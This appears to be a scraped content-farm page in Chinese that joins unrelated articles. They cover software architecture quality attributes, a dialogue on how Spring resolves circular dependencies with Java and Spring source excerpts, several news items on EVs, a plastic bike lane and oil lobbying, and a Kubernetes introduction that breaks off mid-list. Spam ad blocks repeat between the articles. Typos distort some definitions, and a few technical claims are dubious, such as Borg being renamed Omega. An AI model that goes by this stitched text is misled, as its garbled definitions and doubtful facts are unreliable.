軟件架構的核心思想

目錄

  • 前言
  • 一、軟件架構的定義
  • 二、軟件架構與設計
  • 三、軟件架構的幾個方面
    • 系統
    • 結構
    • 環境
    • 利益相關者
  • 四、軟件架構的結構特徵
    • 運行時結構
    • 模塊結構
  • 五、軟件架構的質量屬性
    • 可修改性
    • 可測試性
    • 可擴展性
    • 性能
    • 可用性
    • 安全性
    • 可部署性
  • 六、其他常見概念
    • 內聚
    • 耦合
    • 企業架構
    • 系統架構

前言

welcome to chenqionghe’s blog,架構能力其實更像是一種內功,需要我們不斷地去學習,讓我們用一張正能量的圖片開啟美好的學習生活,let’s do it~

一、軟件架構的定義

架構是一個系統的基本組織,涵蓋所包含的組件,組件之間的關係、組件與環境的關係,以及指導架構設計和演進的原則等內容

二、軟件架構與設計

軟件架構和軟件設計中都有“設計”的意思,但與後者相比,前者具有更高的抽象性和更廣的範圍

  • 軟件架構關注如何對系統中的結構和交互進行較高級別的描述,它關注的是那些與系統骨架相關的決策問題,例如:功能、組織 、技術、業務和質量標準等。
  • 軟件設計關注構成系統的部件或組件,以及子系統是如何組織的,關注的問題通常更接近代碼或模塊本身,例如:
    • 將代碼分成哪些模塊?如何組織?
    • 給不同的功能分配哪些類(或模塊)?
    • 對於類“C”應該使用哪種設計模式?
    • 在運行時對象之間是如何交互的?傳遞什麼消息?如何實施交互?

三、軟件架構的幾個方面

系統

系統是以特定方式組織的組件集合,以實現特定的功能。
軟件系統是其軟件組件的集合。一個系統通常可以劃分為若干個子系統。

結構

結構是根據某個指導規則或原則來組成或組織在一起的一組元素的集合,可以是軟件或硬件系統。
軟件架構可以根據觀察者的上下文展示各個層次的結構

環境

軟件系統所在的上下文或環境對其軟件架構有直接的影響。
這樣的上下因素可以是技術、商業、專業、操作等

利益相關者

任何對某個系統及其成功與否感興趣或關心的個體或團體,都是利益相關者。
例如:架構師、開發團隊、客戶、項目經理和營銷團隊等

四、軟件架構的結構特徵

運行時結構

在運行時創建的對象及其之間的交互方式經常決定部署架構。
部署架構與可擴展性、性能、安全性和交互操作性等質量屬性密切相關

模塊結構

為了分解任務,如何拆分代碼並把代碼組織到模塊和包中,這與系統的可維護性和可修改性密切相關,因為

  • 在代碼組織過程中考慮到可擴展性的話,通常會將父類放在單獨定義好的具有恰當文檔和配置的包中,這樣就可以輕易地通過增加外部模塊進行擴展,而不需要處理太多的依賴關係
  • 對於那些依賴於外部或第三方開發者(庫、框架等)的代碼,通過會根據提供的安裝或部署步驟,從外部源手動或自動地獲取並補丁全部各種依賴。此類代碼還提供多種文檔(例如README、INSTALL)等,它們清楚地記錄了這些步驟

五、軟件架構的質量屬性

質量屬性是系統的可度量和可測試的特性,可用於評估系統在其指定環境中的非功能性需求方面的達成情況

可修改性

定義為對系統進行修改的容易程度,以及系統對理髮進行調整的靈活性。
這是討論的修改不光是代碼的修改、部署的修改,而是任何層次上的修改。
一般架構師對可修改性的興趣點如下:

  • 難點:對系統進行修改的難易程度
  • 成本:進行修改需要的時間和資源
  • 風險:任何與系統修改相關的風險

代碼可讀性越強,其可修改性就越強,代碼的可修改性與可讀性成正比

可測試性

指一個軟件系統支持通過測試來檢測故障的程度。
可測試性也可以認為是一個軟件系統向最終用戶和集成測試隱藏了多少bug
一個系統的可測試性越好,它能隱藏的bug就越少。

可擴展性

指系統能夠適應不斷增長的負載需求,但同時要保證可接受的處理性能,一般分為兩大類:

  • 橫向(水平)擴展性。意味着通過向其中添加更多多的計算節點。
  • 縱向(垂直)擴展性。涉及系統單個節點中資源的添加或移除

性能

指系統在給定的計算資源內完成的工作量,完成的工作量和計算資源的比例(work/unit)越高,性能越高。

計算資源的單位有以下幾種

  • 響應時間。一個函數或執行單元運行所需要的時間。
  • 延遲。某個系統被激活並提供響應所需的時間。
  • 吞吐量。系統處理信息的某種比率。

可用性

指系統處於完全可操作狀態的程度,以便在任何時候獲得調用請求時可以執行的能力

  • 可靠性
    系統的可用性和可靠性密切相關,系統越可靠,可用性就越高。
  • 故障恢復能力
    影響可用性的另一個因素是從故障中恢復的能力,包括了故障檢測、故障恢復、故障預防
  • 數據一致性
    CAP定理指出,系統的可用性與其數據一致性有密切聯繫。一致性和可用性一般膛會同時成立,因為可能通信失敗,系統可以在一致性或可用性之間進行選擇

安全性

避免被未經過身份驗證的訪問損害數據和邏輯,同時繼續向通過誰的其他系統和角色提供服務的一種能力。

可部署性

指軟件從開發環境到產品運行環境移交的難易程度。
有以下相關因素:

  • 模塊結構。
    將系統劃分為易於部署的一個個子單元,則部署會容易
  • 產品運行環境與開發環境。與
    開發環境結構非常相似的產品運行環境會使部署
  • 開發生態系統支持。
    為系統提供成熟的工具鏈支持,允許各種依賴關係自動建立和驗證等配置項內容,從而提高可部署性。
  • 標準配置。
    一個好的方式是開發者保持開發環境的配置結構和產品運行環境一致。
  • 標準化基礎設施。
    將部署保持在一個標準化的基礎設施上,提高可部署性
  • 容器使用
    隨着Docker容器技術的普及,可以規範軟件,減少啟動/停止的開銷,從而使部署更容易。

六、其他常見概念

內聚

一個模塊內相關聯程度的度量,描述的是模塊內的功能聯繫
若一個模塊之間各元素聯繫緊密,則內聚性就高(高內聚)
如果能做到將模塊做成一個功能類聚、獨立性強、內部緊密結合才是一個理想的類聚模塊,這對初學都來說,非常不容易,不光是個人技術能力的挑戰,更是對某個領域業務水平的挑戰。

耦合

各模塊間相互聯繫緊密程度的一種度量。
模塊之間聯繫少,耦合性就越低,模塊之間的相對獨立性就越強。

企業架構

企業架構是一個定義企業結構和行為的概念藍圖。它確定了企業結構、流程、人員和信息流動如何與其核心目標相一致,以便有效地實現當前和未來的目標

系統架構

系統架構是系統的基本組織形式,由其結構和行為視圖表示。該結構由兩部分確定:構成系統的組件和組件的行為。組件的行為是指組件之間的交互,以及組件與外部系統之間的交互

以上內容由chenqionghe整理,參考《軟件架構-Python語言實現》,light weight baby~

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

聚甘新

【Spring】循環依賴 Java Vs Spring

菜瓜:水稻,這次我特意去看了java的循環依賴

水稻:喲,有什麼收穫

菜瓜:兩種情況,構造器循環依賴,屬性循環依賴

  • 構造器循環依賴在邏輯層面無法通過。對象通過構造函數創建時如果需要創建另一個對象,就會存在遞歸調用。棧內存直接溢出
  • 屬性循環依賴可以解決。在對象創建完成之後通過屬性賦值操作。
  • package club.interview.base;
    
    /**
     * 構造器循環依賴 - Exception in thread "main" java.lang.StackOverflowError
     * toString()循環打印也會異常 - Exception in thread "main" java.lang.StackOverflowError
     * @author QuCheng on 2020/6/18.
     */
    public class Circular {
    
        class A {
            B b;
    
    //        public A() {
    //            b = new B();
    //        }
    
    //        @Override
    //        public String toString() {
    //            return "A{" +
    //                    "b=" + b +
    //                    '}';
    //        }
        }
    
        class B {
            A a;
    
    //        public B() {
    //            a = new A();
    //        }
    
    //        @Override
    //        public String toString() {
    //            return "B{" +
    //                    "a=" + a +
    //                    '}';
    //        }
        }
    
        private void test() {
            B b = new B();
            A a = new A();
            a.b = b;
            b.a = a;
            System.out.println(a);
            System.out.println(b);
        }
    
        public static void main(String[] args) {
            new Circular().test();
        }
    }

水稻:厲害啊,Spring也不支持構造函數的依賴注入,而且也不支持多例的循環依賴。同樣的,它支持屬性的依賴注入。

  • 看效果 – 如果toString()打印同樣會出現棧內存溢出。
  • package com.vip.qc.circular;
    
    import org.springframework.stereotype.Component;
    
    import javax.annotation.Resource;
    
    /**
     * @author QuCheng on 2020/6/18.
     */
    @Component("a")
    public class CircularA {
    
        @Resource
        private CircularB circularB;
    
    //    @Override
    //    public String toString() {
    //        return "CircularA{" +
    //                "circularB=" + circularB +
    //                '}';
    //    }
    }
    
    
    package com.vip.qc.circular;
    
    import org.springframework.stereotype.Component;
    
    import javax.annotation.Resource;
    
    /**
     * @author QuCheng on 2020/6/18.
     */
    @Component("b")
    public class CircularB {
    
        @Resource
        private CircularA circularA;
    
    //    @Override
    //    public String toString() {
    //        return "CircularB{" +
    //                "circularA=" + circularA +
    //                '}';
    //    }
    }
    
    
        @Test
        public void testCircular() {
            String basePackages = "com.vip.qc.circular";
            new AnnotationConfigApplicationContext(basePackages);
        }

菜瓜:看來spring的實現應該也是通過屬性注入的吧

水稻:你說的對。先給思路和demo,之後帶你掃一遍源碼,follow me !

  • spring的思路是給已經初始化的bean標記狀態,假設A依賴B,B依賴A,先創建A
    • 先從緩存容器(總共三層,一級拿不到就拿二級,二級拿不到就從三級緩存中拿正在創建的)中獲取A,未獲取到就執行創建邏輯
    • 對象A在創建完成還未將屬性渲染完之前標記為正在創建中,放入三級緩存容器。渲染屬性populateBean()會獲取依賴的對象B。
    • 此時B會走一次getBean邏輯,B同樣會先放入三級緩存,然後渲染屬性,再次走getBean邏輯注入A,此時能從三級緩存中拿到A,並將A放入二級容器。B渲染完成放入一級容器
    • 回到A渲染B的方法populateBean(),拿到B之後能順利執行完自己的創建過程。放入一級緩存
  •  為了證實結果,我把源碼給改了一下,看結果

    • package com.vip.qc.circular;
      
      import org.springframework.stereotype.Component;
      
      import javax.annotation.Resource;
      
      /**
       * @author QuCheng on 2020/6/18.
       */
      @Component("a")
      public class CircularA {
      
          @Resource
          private CircularB circularB;
      
          @Override
          public String toString() {
              return "CircularA{" +
                      "circularB=" + circularB +
                      '}';
          }
      }
      
      
      package com.vip.qc.circular;
      
      import org.springframework.stereotype.Component;
      
      import javax.annotation.Resource;
      
      /**
       * @author QuCheng on 2020/6/18.
       */
      @Component("b")
      public class CircularB {
      
          @Resource
          private CircularA circularA;
      
          @Override
          public String toString() {
              return "CircularB{" +
                      "circularA=" + circularA +
                      '}';
          }
      }
      
      
      測試代碼
      @Test
          public void testCircular() {
              String basePackages = "com.vip.qc.circular";
              new AnnotationConfigApplicationContext(basePackages);
      }
      
      測試結果(我改過源碼了)
      ---- 
      將a放入三級緩存
      將b放入三級緩存
      將a放入二級緩存
      將b放入一級緩存
      從二級緩存中拿到了a
      將a放入一級緩存

        

  • 再看源碼
    • 關鍵類處理getSingleton邏輯 – 緩存容器
      • public class DefaultSingletonBeanRegistry 
        
          /** Cache of singleton objects: bean name to bean instance. */
          // 一級緩存
            private final Map<String, Object> singletonObjects = new ConcurrentHashMap<>(256);
        
            /** Cache of singleton factories: bean name to ObjectFactory. */
          // 三級緩存
            private final Map<String, ObjectFactory<?>> singletonFactories = new HashMap<>(16);
        
            /** Cache of early singleton objects: bean name to bean instance. */
          // 二級緩存
            private final Map<String, Object> earlySingletonObjects = new HashMap<>(16);
    • 主流程 AbstractApplicationContext#refresh() -> DefaultListableBeanFactory#preInstantiateSingletons() -> AbstractBeanFactory#getBean() & #doGetBean()
      • protected <T> T doGetBean(final String name, @Nullable final Class<T> requiredType,
              @Nullable final Object[] args, boolean typeCheckOnly) throws BeansException {
           /**
            * 處理FactoryBean接口名稱轉換 {@link BeanFactory#FACTORY_BEAN_PREFIX }
            */
           final String beanName = transformedBeanName(name);
                ...
           // ①從緩存中拿對象(如果對象正在創建中且被依賴注入,會放入二級緩存)
           Object sharedInstance = getSingleton(beanName);
           if (sharedInstance != null && args == null) {
              ...
           }else {      
                    ...
                 if (mbd.isSingleton()) {
                   // ② 將創建的對象放入一級緩存
                    sharedInstance = getSingleton(beanName, () -> {
                       try {
                             // ③ 具體創建的過程,每個bean創建完成之後都會放入三級緩存,然後渲染屬性
                          return createBean(beanName, mbd, args);
                       }catch (BeansException ex) {
                         ...
           ...
           return (T) bean;
        } 
    • ①getSingleton(beanName) – 二級緩存操作
      • protected Object getSingleton(String beanName, boolean allowEarlyReference) {
           // 實例化已經完成了的放在singletonObjects
           Object singletonObject = this.singletonObjects.get(beanName);
           // 解決循環依賴
           if (singletonObject == null && isSingletonCurrentlyInCreation(beanName)) {
              synchronized (this.singletonObjects) {
                 singletonObject = this.earlySingletonObjects.get(beanName);
                 if (singletonObject == null && allowEarlyReference) {
                    ObjectFactory<?> singletonFactory = this.singletonFactories.get(beanName);
                    if (singletonFactory != null) {
                       singletonObject = singletonFactory.getObject();
                       this.earlySingletonObjects.put(beanName, singletonObject);
                       if(beanName.equals("a")||beanName.equals("b")||beanName.equals("c"))
                          System.out.println("將"+beanName+"放入二級緩存");;
                       this.singletonFactories.remove(beanName);
                    }
                 }else if(singletonObject != null){
                    System.out.println("從二級緩存中拿到了"+beanName);
                 }
              }
           }
           return singletonObject;
        }
    • ② getSingleton(beanName,lamdba) – 一級緩存操作
      • public Object getSingleton(String beanName, ObjectFactory<?> singletonFactory) {
              Assert.notNull(beanName, "Bean name must not be null");
              synchronized (this.singletonObjects) {
                 Object singletonObject = this.singletonObjects.get(beanName);
                 if (singletonObject == null) {
                    if (this.singletonsCurrentlyInDestruction) {
                    ...
                    // 正在創建的bean加入singletonsCurrentlyInCreation - 保證只有一個對象創建,阻斷循環依賴
                    beforeSingletonCreation(beanName);
                              ...
                    try {
                       singletonObject = singletonFactory.getObject();
                    ...
                    finally {
                    ...
                       // 從singletonsCurrentlyInCreation中移除
                       afterSingletonCreation(beanName);
                    }
                    if (newSingleton) {
                       // 對象創建完畢 - 放入一級緩存(從其他緩存移除)
                       addSingleton(beanName, singletonObject);
                    }
                 }
                 return singletonObject;
              }
           }
                
         //  -----  內部調用一級緩存操作
            protected void addSingleton(String beanName, Object singletonObject) {
                synchronized (this.singletonObjects) {
                    if(beanName.equals("a")||beanName.equals("b")||beanName.equals("c"))
                        System.out.println("將"+beanName+"放入一級緩存");;
                    this.singletonObjects.put(beanName, singletonObject);
                    this.singletonFactories.remove(beanName);
                    this.earlySingletonObjects.remove(beanName);
                    this.registeredSingletons.add(beanName);
                }
            }        
           
    • ③createBean(beanName, mbd, args) – 三級緩存操作
      • protected Object doCreateBean(final String beanName, final RootBeanDefinition mbd, final @Nullable Object[] args)throws BeanCreationException {
             ...
           if (instanceWrapper == null) {
              // 5* 實例化對象本身
              instanceWrapper = createBeanInstance(beanName, mbd, args);
           }
           ...
           boolean earlySingletonExposure = (mbd.isSingleton() && this.allowCircularReferences &&
                 isSingletonCurrentlyInCreation(beanName));
           if (earlySingletonExposure) {
              ...
              // 將創建好還未渲染屬性的bean 放入三級緩存
              addSingletonFactory(beanName, () -> getEarlyBeanReference(beanName, mbd, bean));
           }
        
           Object exposedObject = bean;
           try {
              // 渲染bean自身和屬性
              populateBean(beanName, mbd, instanceWrapper);
              // 實例化之後的後置處理 - init
              exposedObject = initializeBean(beanName, exposedObject, mbd);
           }
           catch (Throwable ex) {
           ...
           return exposedObject;
        }
          
          
           // ------------- 內部調用三級緩存操作 
           protected void addSingletonFactory(String beanName, ObjectFactory<?> singletonFactory) {
                Assert.notNull(singletonFactory, "Singleton factory must not be null");
                synchronized (this.singletonObjects) {
                    if (!this.singletonObjects.containsKey(beanName)) {
                        if(beanName.equals("a")||beanName.equals("b")||beanName.equals("c"))
                            System.out.println("將"+beanName+"放入三級緩存");;
                        this.singletonFactories.put(beanName, singletonFactory);
                        this.earlySingletonObjects.remove(beanName);
                        this.registeredSingletons.add(beanName);
                    }
                }
            }       

菜瓜:demo比較簡單,流程大致明白,源碼我還需要斟酌一下,整體有了概念。這個流程好像是摻雜在bean的創建過程中,結合bean的生命周期整體理解可能會更深入一點

水稻:是的。每個知識點都不是單一的,拿着bean的生命周期再理解一遍可能會更有收穫。

 

討論

  • 為什麼是三級緩存,兩級不行嗎?
    • 猜測:理論上兩級也可以實現。多一個二級緩存可能是為了加快獲取的速度。假如A依賴B,A依賴C,B依賴A,C依賴A,那麼C在獲取A的時候只需要從二級緩存中就能拿到A了

總結

  • Spring的處理方式和java處理的思想一致,構造器依賴本身是破壞語義和規範的
  • 屬性賦值–> 依賴注入 。 先創建對象,再賦值屬性,賦值的時候發現需要創建便生成依賴對象,被依賴對象需要前一個對象就從緩存容器中拿取即可

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

聚甘新

荷蘭開放首條塑膠再製自行車道 約含50萬個瓶蓋

摘錄自2018年09月18日科技新報報導

荷蘭人以愛好騎單車聞名,該國約 1,700 萬人,卻擁有超過 2,200 萬輛腳踏車,光是阿姆斯特丹就鋪設了近 800 公里的自行車道,東北部城鎮茲沃勒(Zwolle)日前又正式開放一條全由回收塑膠再製生成的自行車道。

該塑膠車道概念來自道路工程公司 KWS 的 Anne Koudstaal 和 Simon Jorritsma,道路全長 30 公尺,採用預製模塊,重量輕、易安裝,下方設計了排水系統讓管道、電纜通過,可讓水快速流通,遇到暴雨時還能充當臨時儲水槽、避免淹水。

據估計,這條自行車道包含了約 218,000 個塑膠杯,或 50 萬個塑膠瓶蓋,使用年限可比傳統道路長 2~3 倍(有待觀察),路面應該也不會出現裂縫或坑洞。

 

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

車商化敵為友挑戰Tesla,共同發展電動車充電網

市場上能見度高的汽車廠皆已跨入電動車領域,電動車市場顯得更加蓬勃,競爭也更加激烈,但也為車商創造了前所未見的合作組合。BMW、Diamler、Ford、Volkswagen旗下的Audi與Porsche宣布將在歐洲共同發展電動車充電網。

歐洲是全球最早開始發展電動車的地區之一,荷蘭、挪威等國都是電動車高普及國。雖然歐洲因人口與市場發展較早等因素,未來幾年的成長率預期將落後於中國、美國等地,但仍然是電動車產業的一大標的市場。

BBC報導,國際車商BMW、Diamler、Ford和Volkswagen將聯手在歐洲發展高效能的電動車充電網絡,預計將在全歐設置400處充電站。這些充電站將沿著主要道路設置,並為電動車提供超高速充電服務。這套充電網絡的基礎是一組結合式的標準充電系統科技,車主最高可享有350kW的充電功率,是目前市場上充電樁效能最高的設備。

不過,Tesla電動車因系統不相容,將無法使用這些充電站。

這些合作車商表示,他們希望發展一套裝置快速、可快速擴充充電站數量的系統,讓電動車車主們能享受遠程駕駛,不受電池續航力所限制。而這項合作將在2017年正式起跑。

將帶來車商與車主雙贏

電動車充電APP軟體Zap-Map的執行者Ben Lane對BBC表示,這是一個「超讚的消息,這正是產業需要的。」他指出,隨著電動車搭載的電池變大,充電時間也會越長;沿路都有快速充電系統對車主來說是個利多。

BBC則舉加油站的廣泛設置為例,說明這四間車商宣布將聯手打造綿密的電動車充電網的行動,是非常合理的;這不僅能提升電動車車主的使用方便性,也能說服更多人購買電動車。

雖然目前電動車充電時間仍不如直接加油來得快,但Tesla的超級快充站已經可在40分鐘內將Model S的電池充到八分飽,更有計畫將所需時間降到5~10分鐘。若BMW等四間車商能透過通力合作的方式發展更具效率的充電設備,電動車就會隨著這個計畫變得更具競爭力。

(照片來源:維基共享資源)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

聚甘新

新廠+旺季、和大Q4營收創高,明年營運再升

汽車傳動系統製造廠和大(1536)第4季旺季效益發酵,10月營收站回5億元大關以後,11月嘉義大埔美新廠產能再加入,單月營收營收進一步挺進至5.52億元,改寫單月歷史新高紀錄。和大因應客戶需求強勁,已公告擬辦理現增2千萬股,每股暫定100元,初估可募得20億元。和大已進入緘默期,但法人圈對和大第4季和明年營運看法轉正向,預料該公司前五大客戶持續擴大下單,且美國電動車大廠Tesla的熱銷車款Model 3將在明年開始對零組件廠拉貨下,明年度和大營收可維持成長態勢。

和大今年第3季受兩岸有假期干擾出貨,且台幣升值造成匯兌損失下,單季營運表現略不如預期,EPS 0.96元,低於法人原估的1元;但隨著第4季汽車產業進入旺季,而和大的前五大客戶中,有四大客戶拉貨積極展開,並造成公司產線供不應求,是以,和大擴大了嘉義大埔美廠的擴建。

和大嘉義大埔美廠第一廠已完成建置,開出兩條產線,已通過大客戶B公司的認證,並在11月正式導入量產,成為營收創高的新動能,法人也因此預期,和大的12月營收也可以站穩5億元大關,整體第4季營收可以達到15、16億元。

和大大埔美一廠也持續安裝第三、四條產線,預計明年第3季可以再通過B公司的認證,第4季導入量產,明年營運可望逐季增溫。

至於外界高度關注的Tesla訂單,法人則預期,和大接獲Tesla熱銷的Model 3減速齒輪箱訂單,將可望在明年上半年開始試產,明年下半年產線通過T公司的認證後,也可以展開出貨;整體來說,和大2017年的營運展望將樂觀。

而積極在中國進行在地採購的Punch,由於其打入長城、吉利、東南、比亞迪等中國自主品牌廠供應鏈,並持續放大在地供應鏈的採購量,對主要供應該公司無段變速齒輪箱SUN GEAR和行星齒輪組的和大而言,也可望持續受惠。法人估算,受惠於Punch的訂單持續增量,去年和大來自P公司的營收大增4成,今年又增逾2成,明年度則應可維持2成的成長動能。

由於和大的品質穩定,新投入的設備智能又新穎,深獲大客戶信任,而公司的訂單能見度也長達5年,故為了因應持續成長的訂單,和大已宣布啟動大埔美的持續擴廠計劃,並擬辦理現金增資2000萬股,初估募得資金為20億元。

法人則看好,和大在持續穩健成長的訂單支撐下,擴廠的效益可期,未來幾年公司營運動能十足。

法人並估,和大今年第4季營收將逼近16億元,單季EPS有機會重回1元以上,估達1.4~1.5元,而全年EPS可逼近5元,雖低於原本5~5.5元的預期,但為第二年改寫新高。

法人估,明年和大營收有機會再增1成,估從65億元起跳,上看70億元,全年EPS則達6元。

本文內容由嘉實資訊 MoneyDJ 授權使用

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

聚甘新

石油巨頭花84億遊說歐盟 企圖左右氣候行動決策

摘錄自2019年10月24日中央社報導

環保團體24日表示,全球5大石油和天然氣上市公司及產業組織自2010年迄今,已花費2億5000萬歐元(約新台幣84億元)遊說歐盟,企圖影響因應氣候變遷行動。研究顯示,自從歐盟執委會主席榮科(Jean-Claude Juncker)2014年上任以來,英國石油(BP)、雪佛龍(Chevron)、埃克森美孚(ExxonMobil)、殼牌(Shell)和道達爾集團(Total)以及代表它們的產業組織,已和執委會官員展開至少327次高層會談,平均每週超過1次。

歐洲企業觀察(Corporate Europe Observatory)研究員和運動倡導者薩比多(Pascoe Sabido)告訴法新社:「這是化石燃料產業致力拖延、削弱和破壞亟需氣候行動的一連串努力一環。」

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

【K8S學習筆記】初識K8S 及架構組件

K8S是什麼?發展歷史

Kubernetes (簡稱 k8s)是 Google 在2014年開源的,對容器生命周期管理的開源平台,致力於對容器集群提供易於管理、高可用、彈性負載與故障轉移的能力,提高服務運維自動化的能力。

最初,Google 開發了一個叫 Borg 的系統(現在命名為Omega)來調度據說有20多億個容器和工作負載。在積累了 10 余年經驗后,Google 決定重寫這個容器管理系統,並將其命名為 Kubernetes 貢獻給開源社區,讓全世界都能因此受益。

自從開源以來,K8S迅速獲得開源社區的追捧,包括RedHat、VMware、Canonical在內的有很大影響力公司加入到開發與推廣的陣營。

當微服務的概念的落地實踐開始,微服務就與容器緊緊地綁在了一起,可以說K8s的成功離不開微服務與容器。

2017年是容器生態發展歷史中具有里程碑意義的一年。

在這一年,長期作為Docker競爭對手的RKT容器一派的領導者CoreOS宣布放棄自己的容器管理系統Fleet,未來將會把所有容器管理的功能移至Kubernetes之上去實現。

在這一年,容器管理領域的獨角獸Rancher Labs宣布放棄其內置了數年的容器管理系統Cattle,提出了“All-in-Kubernetes”戰略,從2.0版本開始把1.x版本能夠支持多種容器管理工具的Rancher,“升級”為只支持Kubernetes一種容器管理系統。

在這一年,Kubernetes的主要競爭者Apache Mesos在9月正式宣布了“Kubernetes on Mesos”集成計劃,由競爭關係轉為對Kubernetes提供支持,使其能夠與Mesos的其他一級框架(如HDFS、Spark 和Chronos,等等)進行集群資源動態共享、分配與隔離。

在這一年,Kubernetes的最大競爭者Docker Swarm的母公司Docker,終於在10月被迫宣布Docker要同時支持Swarm與Kubernetes兩套容器管理系統,事實上承認了Kubernetes的統治地位。這場已經持續了三、四年時間,以Docker Swarm、Apache Mesos與Kubernetes為主要競爭者的“容器戰爭”終於有了明確的結果。

時至今日,K8S 已經是發展最快、市場佔有率最高的容器編排系統,是業界標杆。

小結:Kubernetes是Google公司2014年開源的容器編排產品,經過多年的發展,已經成為容器編排領域的佼佼者,擁有最廣大的用戶群體

應用部署容器化的發展歷程

要說K8S的作用,得先從容器的發展與優勢講起,大致可分為 傳統部署時代、虛擬化部署時代、容器部署時代

傳統部署時代: 早期,在物理服務器上運行應用程序。無法為物理服務器中的應用程序定義資源邊界,這會導致資源分配困難與資源浪費的問題。例如,如果在物理服務器上運行多個應用程序,則可能會出現一個應用程序佔用大部分資源的情況,結果可能導致其他應用程序的性能下降。一種解決方案是在不同的物理服務器上運行每個應用程序,但是由於資源利用不足而無法擴展,並且組織維護許多物理服務器的成本很高

虛擬化部署時代: 作為解決方案,引入了虛擬化功能,它允許您在單個物理服務器的 CPU 上運行多個虛擬機(VM)。虛擬化功能允許應用程序在 VM 之間隔離,並提供安全級別,因為一個應用程序的信息不能被另一應用程序自由地訪問。

因為虛擬化可以輕鬆地添加或更新應用程序、降低硬件成本等等,所以虛擬化可以更好地利用物理服務器中的資源,並可以實現更好的可伸縮性。

每個 VM 是一台完整的計算機,在虛擬化硬件之上運行所有組件,包括其自己的操作系統,這勢必也會造成資源的浪費、性能的下降

容器部署時代: 容器類似於 VM,但是它們具有輕量級的隔離屬性,可以在應用程序之間共享操作系統(OS)。因此,容器被認為是輕量級的。容器與 VM 類似,具有自己的文件系統、CPU、內存、進程空間等。由於它們與基礎架構分離,因此可以跨雲和 OS 分發進行移植

容器因具有許多優勢而變得流行起來。下面列出了容器的一些好處

  • 敏捷應用程序的創建和部署:與使用 VM 鏡像相比,提高了容器鏡像創建的簡便性和效率。
  • 持續開發、集成和部署:通過快速簡單的回滾(由於鏡像不可變性),提供可靠且頻繁的容器鏡像構建和部署。
  • 關注開發與運維的分離:在構建/發布時而不是在部署時創建應用程序容器鏡像,從而將應用程序與基礎架構分離。
  • 可觀察性:不僅可以显示操作系統級別的信息和指標,還可以显示應用程序的運行狀況和其他指標信號。
  • 跨開發、測試和生產的環境一致性:在便攜式計算機上與在雲中相同地運行。
  • 雲和操作系統分發的可移植性:可在 Ubuntu、RHEL、CoreOS、本地、Google Kubernetes Engine 和其他任何地方運行。
  • 以應用程序為中心的管理:提高抽象級別,從在虛擬硬件上運行 OS 到使用邏輯資源在 OS 上運行應用程序。
  • 鬆散耦合、分佈式、彈性、解放的微服務:應用程序被分解成較小的獨立部分,並且可以動態部署和管理 – 而不是在一台大型單機上整體運行。
  • 資源隔離:可預測的應用程序性能。
  • 資源利用:高效率和高密度。

小結:相對於傳統物理機部署方式,虛擬機部署將資源更好的隔離開來,使資源分配與隔離的問題解決,提高了資源使用率,但是由於其虛擬了硬件與OS,會浪費不必要的資源;容器部署繼承了虛擬機部署的資源隔離優勢的同時,使用共享宿主機的硬件與OS的方式,資源消耗更少,由於與基礎架構進行了分離,可以做到良好的移植性

為什麼需要 Kubernetes,它能做什麼?

容器是打包和運行應用程序的好方式。在生產環境中,如果一個容器發生故障,則啟動另一個容器。如此處理會不會更簡單?

K8s就是這麼做的!K8s 為您提供了一個可彈性運行分佈式系統的框架,能滿足您的擴展要求、故障轉移、部署模式等。

Kubernetes 為您提供:

  • 服務發現和負載均衡
    Kubernetes 可以使用 DNS 名稱或自己的 IP 地址公開容器,如果到容器的流量很大,Kubernetes 可以負載均衡並分配網絡流量,從而使部署穩定。

  • 存儲編排
    Kubernetes 允許您自動掛載您選擇的存儲系統,例如本地存儲、公共雲提供商等。

  • 自動部署和回滾
    您可以使用 Kubernetes 描述已部署容器的所需狀態,它可以以受控的速率將實際狀態更改為所需狀態。例如,您可以自動化 Kubernetes 來為您的部署創建新容器,刪除現有容器並將它們的所有資源用於新容器。

  • 自動二進制打包
